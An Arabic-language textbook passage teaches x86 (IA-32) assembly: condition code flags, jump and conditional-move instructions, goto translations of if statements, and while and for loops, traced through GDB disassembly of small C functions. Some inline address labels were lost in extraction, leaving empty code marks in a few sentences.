وخلافًا للتعليمات الحسابية التي غطيناها حتى الآن، لا تعدّل cmp وtest سجل الهدف. وبدلًا من ذلك، تعدّل كلتا التعلميتين سلسلة من القيم أحادية البت تُعرف بـرايات رمز الحالة (condition code flags). فمثلًا، ستعدّل cmp رايات رمز الحالة بناءً على ما إذا كانت قيمة R2 - R1 موجبة (أكبر) أو سالبة (أصغر) أو صفرية (متساوية). وتذكّر أن قيم رمز الحالة ترمّز معلومات عن عملية في وحدة الحساب والمنطق. ورايات رمز الحالة جزء من السجل FLAGS في أنظمة x86.
| الراية | الترجمة |
|---|---|
ZF |
هل يساوي صفرًا (1: نعم؛ 0: لا) |
SF |
هل هو سالب (1: نعم؛ 0: لا) |
OF |
هل حدث فيض (1: نعم؛ 0: لا) |
CF |
هل حدث حمل حسابي (1: نعم؛ 0: لا) |
يعرض الجدول 2 الرايات الشائعة المستخدمة في عمليات رمز الحالة. وبالعودة إلى التعليمة cmp R1, R2:
- تُضبط راية
ZFعلى 1 إذا كان R1 وR2 متساويين. - تُضبط راية
SFعلى 1 إذا كان R2 أصغر من R1 (أي تكون نتيجة R2 - R1 قيمة سالبة). - تُضبط راية
OFعلى 1 إذا نتج عن العملية R2 - R1 فيض صحيح (وهو مفيد للمقارنات الموقّعة). - تُضبط راية
CFعلى 1 إذا نتج عن العملية R2 - R1 حمل (وهو مفيد للمقارنات غير الموقّعة).
تُستخدم رايتا SF وOF لعمليات المقارنة على الأعداد الصحيحة الموقّعة، بينما تُستخدم راية CF للمقارنات على الأعداد الصحيحة غير الموقّعة. ومع أن مناقشة معمّقة لرايات رمز الحالة تتجاوز نطاق هذا الكتاب، فإن ضبط cmp وtest لهذه الرايات يمكّن المجموعة التالية من التعليمات التي نغطيها (تعليمات القفز) من العمل بشكل صحيح.
تعليمات القفز
تتيح تعليمة القفز لتنفيذ البرنامج أن "يقفز" إلى موضع جديد في الشيفرة. وفي برامج التجميع التي تتبعناها حتى الآن، يشير %eip دائمًا إلى التعليمة التالية في ذاكرة البرنامج. وتتيح تعليمات القفز ضبط %eip إما على تعليمة جديدة لم تُنفَّذ بعد (كما في حالة عبارة if) وإما على تعليمة نُفِّذت سابقًا (كما في حالة الحلقة).
تعليمات القفز المباشر
| التعليمة | الوصف |
|---|---|
jmp L |
القفز إلى الموقع المحدّد بـL |
jmp *addr |
القفز إلى العنوان المحدّد |
يسرد الجدول 3 مجموعة تعليمات القفز المباشر؛ ويشير L إلى وسم رمزي (symbolic label) يعمل كمعرّف في ملف كائن البرنامج. وتتكون جميع الوسوم من بعض الحروف والأرقام متبوعة بنقطتين رأسيتين. ويمكن أن تكون الوسوم محلية أو عامة ضمن نطاق ملف الكائن. وتميل وسوم الدوال إلى أن تكون عامة وتتكون عادةً من اسم الدالة ونقطتين رأسيتين. فمثلًا، يُستخدم main: (أو :) لوسم دالة main المعرّفة من المستخدم. وحسب الاصطلاح، تُسبق الوسوم المحلية بنقطة. وقد يصادف المرء وسمًا محليًا باسم مثل .L1 في سياق عبارة if أو حلقة.
لكل وسم عنوان مرتبط به. وعندما تنفّذ وحدة المعالجة المركزية تعليمة jmp، فإنها تعدّل %eip ليعكس عنوان البرنامج المحدّد بالوسم L. ويمكن للمبرمج الذي يكتب لغة التجميع أيضًا تحديد عنوان معيّن للقفز إليه باستخدام التعليمة jmp *. وأحيانًا تُعرض الوسوم المحلية كإزاحة من بداية الدالة. ولذلك، قد تُمثَّل تعليمة يبعد عنوانها 28 بايت عن بداية main بالوسم ``.
فمثلًا، تشير التعليمة jmp 0x8048427 إلى قفز إلى العنوان 0x8048427، الذي له الوسم المرتبط ``, ما يعني أنه يبعد 28 بايت عن عنوان بداية الدالة main. ويؤدي تنفيذ هذه التعليمة إلى ضبط %eip على 0x8048427.
تعليمات القفز الشرطي
يعتمد سلوك تعليمات القفز الشرطي على سجلات رمز الحالة التي تضبطها التعليمة cmp. ويسرد الجدول 4 مجموعة تعليمات القفز الشرطي الشائعة. تبدأ كل تعليمة بالحرف j للدلالة على أنها تعليمة قفز. وتشير لاحقة كل تعليمة إلى شرط القفز. وتحدّد لواحق تعليمات القفز أيضًا ما إذا كان ينبغي تفسير المقارنات العددية على أنها موقّعة أم غير موقّعة.
| المقارنة الموقّعة | المقارنة غير الموقّعة | الوصف |
|---|---|---|
je (jz) |
القفز إذا كانا متساويين (==) أو القفز إذا كان صفرًا | |
jne (jnz) |
القفز إذا لم يكونا متساويين (!=) | |
js |
القفز إذا كانت القيمة سالبة | |
jns |
القفز إذا كانت القيمة غير سالبة | |
jg (jnle) |
ja (jnbe) |
القفز إذا كانت أكبر (>) |
jge (jnl) |
jae (jnb) |
القفز إذا كانت أكبر من أو تساوي (>=) |
jl (jnge) |
jb (jnae) |
القفز إذا كانت أصغر (<) |
jle (jng) |
jbe (jna) |
القفز إذا كانت أصغر من أو تساوي (<=) |
بدلًا من حفظ تعليمات القفز الشرطي المختلفة هذه، من المفيد أكثر نطق لواحق التعليمات. ويسرد الجدول 5 الحروف الشائعة في تعليمات القفز وما يقابلها من كلمات.
| الحرف | الكلمة |
|---|---|
j |
jump (قفز) |
n |
not (ليس) |
e |
equal (يساوي) |
s |
signed (موقّع) |
g |
greater (تفسير موقّع) |
l |
less (تفسير موقّع) |
a |
above (تفسير غير موقّع) |
b |
below (تفسير غير موقّع) |
وبنطقها، نرى أن jg تقابل jump greater (اقفز إذا كانت أكبر)، وأن مرادفها الموقّع jnl يعني jump not less (اقفز إذا لم تكن أصغر). وبالمثل، تعني النسخة غير الموقّعة ja jump above (اقفز إذا كانت أعلى)، بينما يعني مرادفها jnbe jump not below or equal (اقفز إذا لم تكن أدنى أو مساوية).
وإذا نطقت التعليمات، فهذا يساعد على تفسير سبب مقابلة مرادفات معينة لتعليمات بعينها. والأمر الآخر الذي يجب تذكّره هو أن المصطلحين greater وless يوجّهان وحدة المعالجة المركزية إلى تفسير المقارنة العددية كقيمة موقّعة، بينما يشير above وbelow إلى أن المقارنة العددية غير موقّعة.
عبارة goto
في الأقسام الفرعية التالية، ننظر إلى التعبيرات الشرطية والحلقات في لغة التجميع ونعيد هندستها عكسيًا إلى C. وعند ترجمة شيفرة التجميع الخاصة بالتعبيرات الشرطية والحلقات إلى C، من المفيد فهم صيغ goto المقابلة في لغة C. وعبارة goto عنصر أولي في C يجبر تنفيذ البرنامج على الانتقال إلى سطر آخر في الشيفرة. والتعليمة المرتبطة بعبارة goto هي jmp.
تتكوّن عبارة goto من الكلمة المفتاحية goto متبوعة بـوسم goto، وهو نوع من وسوم البرنامج يشير إلى المكان الذي ينبغي أن يستمر منه التنفيذ. لذا، تعني goto done أنه ينبغي أن يقفز تنفيذ البرنامج إلى السطر المعلَّم بالوسم done. ومن الأمثلة الأخرى على وسوم البرنامج في C وسوم عبارة switch التي غطيناها سابقًا في الفصل 2.
الجدول 6. مقارنة بين دالة C وصيغة goto المرتبطة بها.
النسخة العادية بلغة C
int getSmallest(int x, int y) {
int smallest;
if ( x > y ) { //if (conditional)
smallest = y; //then statement
}
else {
smallest = x; //else statement
}
return smallest;
}
نسخة goto
int getSmallest(int x, int y) {
int smallest;
if (x <= y ) { //if (!conditional)
goto else_statement;
}
smallest = y; //then statement
goto done;
else_statement:
smallest = x; //else statement
done:
return smallest;
}
يعرض الجدول 6 دالة getSmallest() مكتوبة بشيفرة C عادية وصيغة goto المرتبطة بها في C. وتقارن الدالة getSmallest() بين قيمتَي عددين صحيحين (x وy)، وتُسنِد القيمة الأصغر إلى المتغير smallest.
قد تبدو صيغة goto لهذه الدالة غير بديهية، لكن لنناقش ما يجري بالضبط. يتحقق الشرط مما إذا كان المتغير x أصغر من أو يساوي y.
- إذا كان
xأصغر من أو يساويy، ينقل البرنامج التحكم إلى الوسم المعلَّم بـelse_statement، الذي يحتوي على العبارة الواحدةsmallest = x. وبما أن البرنامج ينفّذ خطيًا، يتابع البرنامج تنفيذ الشيفرة تحت الوسمdone، التي تعيد قيمةsmallest(أيx). - وإذا كان
xأكبر منy، تُسنَد القيمةyإلىsmallest. ثم ينفّذ البرنامج العبارةgoto done، التي تنقل التحكم إلى الوسمdone، الذي يعيد قيمةsmallest(أيy).
مع أن عبارات goto كانت تُستخدم شائعةً في الأيام الأولى للبرمجة، يُعدّ استخدامها في الشيفرة الحديثة ممارسة سيئة، لأنه يقلل قابلية قراءة الشيفرة عمومًا. وفي الواقع، كتب عالم الحاسوب إدسخر ديكسترا ورقة بحثية شهيرة تنتقد استخدام عبارات goto بعنوان Go To Statement Considered Harmful1.
بشكل عام، لا تستخدم برامج C المصمّمة جيدًا عبارات goto، ويُثنّى المبرمجون عن استخدامها لتجنّب كتابة شيفرة يصعب قراءتها وتصحيحها وصيانتها. غير أن فهم عبارة goto في C مهم، لأن GCC يحوّل عادةً شيفرة C التي تحتوي على تعبيرات شرطية إلى صيغة goto قبل ترجمتها إلى لغة التجميع، بما في ذلك الشيفرة التي تحتوي على عبارات if والحلقات.
تغطي الأقسام الفرعية التالية التمثيل بلغة التجميع لعبارات if والحلقات بمزيد من التفصيل.
المراجع
- Edsger Dijkstra. "Go To Statement Considered Harmful". Communications of the ACM 11(3) الصفحات 147—148. 1968.
لنلقِ نظرة على الدالة getSmallest في لغة التجميع. وللراحة، أُعيد إنتاج الدالة هنا.
int getSmallest(int x, int y) {
int smallest;
if ( x > y ) {
smallest = y;
}
else {
smallest = x;
}
return smallest;
}
وتبدو شيفرة التجميع المقابلة المستخرجة من GDB شبيهة بما يلي:
(gdb) disas getSmallest
Dump of assembler code for function getSmallest:
0x8048411 <+6>: mov 0x8(%ebp),%eax
0x8048414 <+9>: cmp 0xc(%ebp),%eax
0x8048417 <+12>: jle 0x8048421 <getSmallest+22>
0x8048419 <+14>: mov 0xc(%ebp),%eax
0x804841f <+20>: jmp 0x8048427 <getSmallest+28>
0x8048421 <+22>: mov 0x8(%ebp),%eax
0x8048427 <+28>: ret
هذه رؤية مختلفة لشيفرة التجميع عن التي رأيناها سابقًا. فهنا يمكننا رؤية العنوان المرتبط بكل تعليمة، لكن ليس البايتات. لاحظ أن مقطع التجميع هذا حُرِّر تحريرًا طفيفًا من أجل التبسيط. وقد أُزيلت التعليمات التي تكون عادةً جزءًا من إنشاء/إنهاء الدالة (أي push %ebp وmov %esp, %ebp) والمخصّصة لحجز مساحة على المكدّس. وحسب الاصطلاح، يضع GCC المعامل الأول والثاني للدالة في الموقعين %ebp+8 و%ebp+0xc (أو %ebp+12) على الترتيب. ولأجل الوضوح، نشير إلى هذين المعاملين بـx وy على الترتيب.
لنتتبع الأسطر القليلة الأولى من مقطع شيفرة التجميع السابق. لاحظ أننا لن نرسم المكدّس صراحةً في هذا المثال. نترك ذلك تمرينًا للقارئ، ونشجّعك على تدريب مهاراتك في تتبع المكدّس برسمه بنفسك.
- تنسخ التعليمة
movالقيمة الموجودة في العنوان%ebp+8(المعامل الأول،x) وتضعها في السجل%eax. ويُضبط مؤشّر التعليمات (%eip) على عنوان التعليمة التالية، أي 0x08048414. - تقارن التعليمة
cmpالقيمة الموجودة في الموقع%ebp+12(المعامل الثاني،y) بـxوتضبط سجلات رايات رمز الحالة المناسبة. ويتقدم السجل%eipإلى عنوان التعليمة التالية، أي 0x08048417. - تشير التعليمة
jleفي السطر الثالث إلى أنه إذا كانxأصغر من أو يساويy، فإن التعليمة التالية التي تُنفَّذ عند الموقع `` (أوmov 0x8(%ebp), %eax) وأنه ينبغي ضبط%eipعلى العنوان 0x8048421. وإلا، يُضبط%eipعلى التعليمة التالية في التسلسل، أي 0x8048419.
تعتمد التعليمات التالية المراد تنفيذها على ما إذا كان البرنامج يتبع التفريع (أي ينفّذ القفز) في السطر الثالث (). لنفترض أولًا أن التفريع *لم* يُتبع. في هذه الحالة، يُضبط `%eip` على 0x8048419 (أي ) ويُنفَّذ تسلسل التعليمات التالي:
- التعليمة
mov 0xc(%ebp),%eaxعند `` تنسخyإلى السجل%eax. ويتقدم السجل%eipإلى 0x804841f. - التعليمة
jmpتضبط السجل%eipعلى العنوان 0x8048427. - التعليمة الأخيرة المراد تنفيذها هي التعليمة
ret، التي تدل على نهاية الدالة. وفي هذه الحالة، يحتوي%eaxعلىy، وتعيدgetSmallestالقيمةy.
الآن، لنفترض أن التفريع أُخذ عند . وبعبارة أخرى، تضبط التعليمة `jle` السجل `%eip` على 0x8048421 (). عندئذٍ، تكون التعليمات التالية المراد تنفيذها:
- التعليمة
mov 0x8(%ebp),%eaxعند العنوان 0x8048421، التي تنسخxإلى السجل%eax. ويتقدم السجل%eipإلى 0x8048427. - التعليمة الأخيرة التي تُنفَّذ هي
ret، التي تدل على نهاية الدالة. وفي هذه الحالة، يحتوي%eaxعلىx، وتعيدgetSmallestالقيمةx.
يمكننا عندئذٍ شرح شيفرة التجميع السابقة بالتعليقات كما يلي:
0x8048411 <+6>: mov 0x8(%ebp),%eax #copy x to %eax
0x8048414 <+9>: cmp 0xc(%ebp),%eax #compare x with y
0x8048417 <+12>: jle 0x8048421 <getSmallest+22> #if x<=y goto<getSmallest+22>
0x8048419 <+14>: mov 0xc(%ebp),%eax #copy y to %eax
0x804841f <+20>: jmp 0x8048427 <getSmallest+28> #goto <getSmallest+28>
0x8048421 <+22>: mov 0x8(%ebp),%eax #copy x to %eax
0x8048427 <+28>: ret #exit function (return %eax)
وترجمة ذلك عكسيًا إلى شيفرة C تعطي:
الجدول 1. ترجمة getSmallest إلى صيغة goto بلغة C وإلى شيفرة C.
صيغة goto
int getSmallest(int x, int y) {
int smallest;
if (x <= y) {
goto assign_x;
}
smallest = y;
goto done;
assign_x:
smallest = x;
done:
return smallest;
}
شيفرة C المترجمة
int getSmallest(int x, int y) {
int smallest;
if (x <= y) {
smallest = x;
}
else {
smallest = y;
}
return smallest;
}
في الجدول 1، يقابل المتغير smallest السجل %eax. وإذا كان x أصغر من أو يساوي y، تنفّذ الشيفرة العبارة smallest = x، المرتبطة بوسم goto المسمّى assign_x في صيغة goto لهذه الدالة. وإلا، تُنفَّذ العبارة smallest = y. ويُستخدم وسم goto المسمّى done للإشارة إلى أنه ينبغي إرجاع القيمة الموجودة في smallest.
لاحظ أن ترجمة شيفرة التجميع السابقة إلى C مختلفة قليلًا عن الدالة getSmallest الأصلية. ولا تهم هذه الفروق؛ فالتدقيق في كلتا الدالتين يكشف أن البرنامجين متكافئان منطقيًا. غير أن المترجم يحوّل أولًا أي عبارة if إلى صيغة goto مكافئة، ما ينتج النسخة المختلفة قليلًا لكن المكافئة. ويعرض الجدول 2 صيغة عبارة if القياسية وصيغتها المكافئة بـgoto:
الجدول 2. صيغة عبارة if القياسية وصيغتها المكافئة بـgoto.
عبارة if في C
if (condition) {
then_statement;
}
else {
else_statement;
}
صيغة goto المكافئة عند المترجم
if (!condition) {
goto else;
}
then_statement;
goto done;
else:
else_statement;
done:
تخصّص المترجمات عند ترجمة الشيفرة إلى لغة التجميع قفزةً عندما يكون الشرط صحيحًا. قارن هذا السلوك ببنية عبارة if، حيث تحدث "قفزة" (إلى else) عندما تكون الشروط غير صحيحة. وتجسّد صيغة goto هذا الفرق في المنطق.
وبالنظر إلى ترجمة goto الأصلية للدالة getSmallest، نرى أن:
- `x
smallest = xهيelse_statement.- والسطر
smallest = yهوthen_statement. - والسطر الأخير في الدالة هو
return smallest.
وإعادة كتابة النسخة الأصلية للدالة مع الشروح السابقة تعطي:
int getSmallest(int x, int y) {
int smallest;
if (x > y) { //!(x <= y)
smallest = y; //then_statement
}
else {
smallest = x; //else_statement
}
return smallest;
}
هذه النسخة مطابقة للدالة getSmallest الأصلية. وضع في اعتبارك أن دالة مكتوبة بطرق مختلفة في لغة C يمكن أن تُترجم إلى المجموعة نفسها من تعليمات التجميع.
تعليمات cmov
آخر مجموعة من التعليمات الشرطية نغطيها هي تعليمات النقل الشرطي (conditional move) أو cmov. وتنفّذ التعليمات cmp وtest وjmp نقلًا شرطيًا للتحكم في البرنامج. وبعبارة أخرى، يتفرع تنفيذ البرنامج في اتجاهات كثيرة. وقد يمثّل ذلك مشكلة كبيرة لتحسين الشيفرة، لأن هذه التفريعات مكلفة جدًا.
وفي المقابل، تنفّذ التعليمة cmov نقلًا شرطيًا للبيانات. وبعبارة أخرى، يُنفَّذ كلٌّ من then-statement وelse-statement في العبارة الشرطية، وتُوضع البيانات في السجل المناسب بناءً على نتيجة الشرط.
غالبًا ما يؤدي استخدام التعبير الثلاثي (ternary expression) في C إلى أن يولّد المترجم تعليمة cmov بدلًا من القفزات. وبالنسبة لعبارة if-then-else القياسية، يكون التعبير الثلاثي بالصيغة:
result = (condition) ? then_statement : else_statement;
لنستخدم هذه الصيغة لإعادة كتابة الدالة getSmallest كتعبير ثلاثي. وضع في اعتبارك أن هذه النسخة الجديدة من الدالة تتصرف تمامًا كما تتصرف الدالة getSmallest الأصلية:
int getSmallest_cmov(int x, int y) {
return x > y ? y : x;
}
مع أن هذا قد لا يبدو تغييرًا كبيرًا، لننظر إلى شيفرة التجميع الناتجة. وتذكّر أن المعاملين الأول والثاني (x وy) مخزّنان عند عنواني المكدّس %ebp+0x8 و%ebp+0xc على الترتيب.
0x08048441 <+0>: push %ebp #save ebp
0x08048442 <+1>: mov %esp,%ebp #update ebp
0x08048444 <+3>: mov 0xc(%ebp),%eax #copy y to %eax
0x08048447 <+6>: cmp %eax,0x8(%ebp) #compare x with y
0x0804844a <+9>: cmovle 0x8(%ebp),%eax #if (x <= y) copy x to %eax
0x0804844e <+13>: pop %ebp #restore %ebp
0x0804844f <+14>: ret #return %eax
لا تحتوي شيفرة التجميع هذه على قفزات. فبعد مقارنة x وy، تنتقل x إلى سجل الإرجاع فقط إذا كان x أصغر من أو يساوي y. ومثل تعليمات القفز، تشير لاحقة تعليمات cmov إلى الشرط الذي يحدث عنده النقل الشرطي. ويسرد الجدول 3 مجموعة تعليمات النقل الشرطي.
| موقّع | غير موقّع | الوصف |
|---|---|---|
cmove (cmovz) |
انقل إذا كانا متساويين (==) | |
cmovne (cmovnz) |
انقل إذا لم يكونا متساويين (!=) | |
cmovs |
انقل إذا كانت القيمة سالبة | |
cmovns |
انقل إذا كانت القيمة غير سالبة | |
cmovg (cmovnle) |
cmova (cmovnbe) |
انقل إذا كانت أكبر (>) |
cmovge (cmovnl) |
cmovae (cmovnb) |
انقل إذا كانت أكبر من أو تساوي (>=) |
cmovl (cmovnge) |
cmovb (cmovnae) |
انقل إذا كانت أصغر (<) |
cmovle (cmovng) |
cmovbe (cmovna) |
انقل إذا كانت أصغر من أو تساوي (<=) |
يتحلى المترجم بحذر شديد في تحويل تعليمات القفز إلى تعليمات cmov، خصوصًا في الحالات التي تتضمن آثارًا جانبية وقيم مؤشرات. ويعرض الجدول 4 طريقتين متكافئتين لكتابة دالة، incrementX:
الجدول 4. دالتان تحاولان زيادة قيمة العدد الصحيح x.
شيفرة C
int incrementX(int * x) {
if (x != NULL) { //if x is not NULL
return (*x)++; //increment x
}
else { //if x is NULL
return 1; //return 1
}
}
صيغة C الثلاثية
int incrementX2(int * x){
return x ? (*x)++ : 1;
}
تأخذ كل دالة مؤشرًا إلى عدد صحيح كمدخل وتتحقق مما إذا كان NULL. وإذا لم يكن x يساوي NULL، تزيد الدالة قيمة x بعد إلغاء الإشارة وتعيدها. وإلا، تعيد الدالة القيمة 1.
قد يغريك الاعتقاد بأن incrementX2 تستخدم تعليمة cmov لأنها تستخدم تعبيرًا ثلاثيًا. غير أن الدالتين تنتجان شيفرة التجميع نفسها تمامًا:
0x80484cf <+0>: push %ebp
0x80484d0 <+1>: mov %esp,%ebp
0x80484d2 <+3>: cmpl $0x0,0x8(%ebp)
0x80484d6 <+7>: je 0x80484e7 <incrementX2+24>
0x80484d8 <+9>: mov 0x8(%ebp),%eax
0x80484db <+12>: mov (%eax),%eax
0x80484dd <+14>: lea 0x1(%eax),%ecx
0x80484e0 <+17>: mov 0x8(%ebp),%edx
0x80484e3 <+20>: mov %ecx,(%edx)
0x80484e5 <+22>: jmp 0x80484ec <incrementX2+29>
0x80484e7 <+24>: mov $0x1,%eax
0x80484ec <+29>: pop %ebp
0x80484ed <+30>: ret
تذكّر أن التعليمة cmov تنفّذ كلا فرعي العبارة الشرطية. وبعبارة أخرى، يُلغى تأشير x مهما كان الأمر. ولنتأمل حالة يكون فيها x مؤشرًا فارغًا (null). تذكّر أن إلغاء إشارة مؤشر فارغ يؤدي إلى استثناء مؤشر فارغ في الشيفرة، ما يسبب خطأ تجزئة (segmentation fault). ولمنع أي احتمال لحدوث ذلك، يسلك المترجم الطريق الآمن ويستخدم القفزات.
وكما في عبارات if، تُنفَّذ الحلقات في لغة التجميع أيضًا باستخدام تعليمات القفز. غير أن الحلقات تتيح إعادة زيارة التعليمات بناءً على نتيجة شرط مُقيَّم.
تجمع الدالة sumUp المعروضة في المثال التالي جميع الأعداد الصحيحة الموجبة من 1 إلى عدد صحيح يحدّده المستخدم. وقد كُتبت هذه الشيفرة دون المستوى الأمثل عمدًا لتوضيح حلقة while في C.
int sumUp(int n) {
//initialize total and i
int total = 0;
int i = 1;
while (i <= n) { //while i is less than or equal to n
total += i; //add i to total
i+=1; //increment i by 1
}
return total;
}
وترجمة هذه الشيفرة بخيار -m32 وفكّ تجميعها باستخدام GDB ينتج شيفرة التجميع التالية:
(gdb) disas sumUp
Dump of assembler code for function sumUp:
0x804840b <+0>: push %ebp
0x804840c <+1>: mov %esp,%ebp
0x804840e <+3>: sub $0x10,%esp
0x8048411 <+6>: movl $0x0,-0x8(%ebp)
0x8048418 <+13>: movl $0x1,-0x4(%ebp)
0x804841f <+20>: jmp 0x804842b <sumUp+32>
0x8048421 <+22>: mov -0x4(%ebp),%eax
0x8048424 <+25>: add %eax,-0x8(%ebp)
0x8048427 <+28>: add $0x1,-0x4(%ebp)
0x804842b <+32>: mov -0x4(%ebp),%eax
0x804842e <+35>: cmp 0x8(%ebp),%eax
0x8048431 <+38>: jle 0x8048421 <sumUp+22>
0x8048433 <+40>: mov -0x8(%ebp),%eax
0x8048436 <+43>: leave
0x8048437 <+44>: ret
مرة أخرى، لن نرسم المكدّس صراحةً في هذا المثال. غير أننا نشجّع القراء على رسم المكدّس بأنفسهم. لنحلّل مقطع التجميع هذا على أجزاء:
التعليمات الخمس الأولى
تهيّئ التعليمات الخمس الأولى من هذه الدالة المكدّس لتنفيذ الدالة:
0x804840b <+0>: push %ebp # save ebp on stack
0x804840c <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x804840e <+3>: sub $0x10,%esp # add 16 bytes to stack frame
0x8048411 <+6>: movl $0x0,-0x8(%ebp) # place 0 at ebp-0x8 (total)
0x8048418 <+13>: movl $0x1,-0x4(%ebp) # place 1 at ebp-0x4 (i)
تذكّر أن مواقع المكدّس تخزّن متغيرات مؤقتة في الدالة. وللتبسيط، سنشير إلى الموقع المعلَّم بـ%ebp - 0x8 باسم total وإلى %ebp - 0x4 باسم i. ويقع المعامل المدخل للدالة sumUp عند %ebp 0x8.
قلب الحلقة
تمثّل التعليمات السبع التالية في الدالة sumUp قلب الحلقة:
0x804841f <+20>: jmp 0x804842b <sumUp+32> # goto <sumUp+32>
0x8048421 <+22>: mov -0x4(%ebp),%eax # copy i to eax
0x8048424 <+25>: add %eax,-0x8(%ebp) # add i to total (total+=i)
0x8048427 <+28>: add $0x1,-0x4(%ebp) # add 1 to i (i+=1)
0x804842b <+32>: mov -0x4(%ebp),%eax # copy i to eax
0x804842e <+35>: cmp 0x8(%ebp),%eax # compare i with n
0x8048431 <+38>: jle 0x8048421 <sumUp+22> # if (i <= n) goto <sumUp+22>
التعليمة الأولى قفزة مباشرة إلى ``، تضبط مؤشّر التعليمات (%eip) على العنوان 0x804842b.
التعليمات التالية التي تُنفَّذ ( و) تنسخ قيمة i إلى السجل %eax وتقارن i بالمعامل الأول للدالة sumUp (أي n). وتضبط التعليمة cmp رموز الحالة المناسبة استعدادًا للتعليمة jle عند ``.
ثم تُنفَّذ التعليمة jle عند . وإذا كان `i` أصغر من أو يساوي `n`، يُؤخذ التفريع ويقفز تنفيذ البرنامج إلى ، ويُضبط %eip على 0x8048421. عندئذٍ تُنفَّذ التعليمات التالية بالتسلسل:
mov -0x4(%ebp),%eaxتنسخiإلى السجل%eax.add %eax,-0x8(%ebp)تضيفiإلىtotal(total+=i).add $0x1,-0x4(%ebp)تزيدiبمقدار 1 (i+=1).mov -0x4(%ebp),%eaxتنسخiإلى السجل%eax.cmp 0x8(%ebp),%eaxتقارنiبـn.jle 0x8048421تقفز عائدة إلى بداية تسلسل التعليمات هذا إذا كانiأصغر من أو يساويn.
وإذا لم يُؤخذ التفريع عند `` (أي إذا لم يكن i أصغر من أو يساوي n)، يُوضع total في سجل الإرجاع، وتخرج الدالة.
ويعرض الجدول 1 صيغتي التجميع وgoto بلغة C للدالة sumUp:
الجدول 1. ترجمة sumUp إلى صيغة goto بلغة C.
لغة التجميع
<sumUp>:
<+0>: push %ebp
<+1>: mov %esp,%ebp
<+3>: sub $0x10,%esp
<+6>: movl $0x0,-0x8(%ebp)
<+13>: movl $0x1,-0x4(%ebp)
<+20>: jmp <sumUp+32>
<+22>: mov -0x4(%ebp),%eax
<+25>: add %eax,-0x8(%ebp)
<+28>: addl $0x1,-0x4(%ebp)
<+32>: mov -0x4(%ebp),%eax
<+35>: cmp 0x8(%ebp),%eax
<+38>: jle <sumUp+22>
<+40>: mov -0x8(%ebp),%eax
<+43>: leave
<+44>: ret
صيغة goto المترجمة
int sumUp(int n) {
int total = 0;
int i = 1;
goto start;
body:
total += i;
i += 1;
start:
if (i <= n) {
goto body;
}
return total;
}
وتكافئ الشيفرة السابقة أيضًا شيفرة C التالية دون عبارات goto:
int sumUp(int n) {
int total = 0;
int i = 1;
while (i <= n) {
total += i;
i += 1;
}
return total;
}
حلقات for في لغة التجميع
يمكن أيضًا كتابة الحلقة الأساسية في الدالة sumUp كحلقة for:
int sumUp2(int n) {
int total = 0; //initialize total to 0
int i;
for (i = 1; i <= n; i++) { //initialize i to 1, increment by 1 while i<=n
total += i; //updates total by i
}
return total;
}
تنتج هذه النسخة شيفرة تجميع مطابقة لمثال حلقة while لدينا. ونعيد شيفرة التجميع أدناه مع شرح كل سطر بترجمته:
0x8048438 <+0>: push %ebp # save ebp
0x8048439 <+1>: mov %esp,%ebp # update ebp (new stack frame)
0x804843b <+3>: sub $0x10,%esp # add 16 bytes to stack frame
0x804843e <+6>: movl $0x0,-0x8(%ebp) # place 0 at ebp-0x8 (total)
0x8048445 <+13>: movl $0x1,-0x4(%ebp) # place 1 at ebp-0x4 (i)
0x804844c <+20>: jmp 0x8048458 <sumUp2+32> # goto <sumUp2+32>
0x804844e <+22>: mov -0x4(%ebp),%eax # copy i to %eax
0x8048451 <+25>: add %eax,-0x8(%ebp) # add %eax to total (total+=i)
0x8048454 <+28>: addl $0x1,-0x4(%ebp) # add 1 to i (i+=1)
0x8048458 <+32>: mov -0x4(%ebp),%eax # copy i to %eax
0x804845b <+35>: cmp 0x8(%ebp),%eax # compare i with n
0x804845e <+38>: jle 0x804844e <sumUp2+22> # if (i <= n) goto <sumUp2+22>
0x8048460 <+40>: mov -0x8(%ebp),%eax # copy total to %eax
0x8048463 <+43>: leave # prepare to leave the function
0x8048464 <+44>: ret # return total
لفهم سبب أن نسخة حلقة for من هذه الشيفرة تنتج نفس تجميع نسخة حلقة while، تذكّر أن حلقة for لها التمثيل التالي:
for ( <initialization>; <boolean expression>; <step> ){
<body>
}
وتكافئ تمثيل حلقة while التالي:
<initialization>
while (<boolean expression>) {
<body>
<step>
}
وبما أنه يمكن تمثيل كل حلقة for بحلقة while، فإن برنامجي C التاليين تمثيلان مكافئان لشيفرة التجميع السابقة:
الجدول 2. طرق متكافئة لكتابة الدالة sumUp.
حلقة For
int sumUp2(int n) {
int total = 0;
int i = 1;
for (i; i <= n; i++) {
total += i;
}
return total;
}
حلقة While
int sumUp(int n){
int total = 0;
int i = 1;
while (i <= n) {
total += i;
i += 1;
}
return total;
}
تتبعنا في القسم السابق دوال بسيطة في لغة التجميع. وفي هذا القسم نناقش التفاعل بين دوال متعددة في لغة التجميع في سياق برنامج أكبر. كما نقدّم بعض التعليمات الجديدة المتعلقة بإدارة الدوال.
لنبدأ بتذكير عن كيفية إدارة مكدّس الاستدعاء. تذكّر أن %esp هو مؤشّر المكدّس ويشير دائمًا إلى قمة المكدّس. ويمثّل السجل %ebp مؤشّر القاعدة (المعروف أيضًا بـمؤشّر الإطار) ويشير إلى قاعدة إطار المكدّس الحالي. ويشير إطار المكدّس (المعروف أيضًا بـإطار التنشيط أو سجل التنشيط) إلى الجزء من المكدّس المخصّص لاستدعاء دالة واحدة. والدالة قيد التنفيذ دائمًا في قمة المكدّس، ويُشار إلى إطار مكدّسها بـالإطار النشط. ويحُدّ الإطار النشط كلٌّ من مؤشّر المكدّس (عند قمة المكدّس) ومؤشّر الإطار (عند قاعدة الإطار). ويحتوي سجل التنشيط عادةً على المتغيرات المحلية والمعاملات للدالة.
يعرض الشكل 1 إطاري المكدّس للدالة main ودالة تستدعيها اسمها fname. وسنشير إلى الدالة main باسم الدالة المستدعية (caller) وإلى fname باسم الدالة المستدعاة (callee).
الشكل 1. إدارة إطار المكدّس
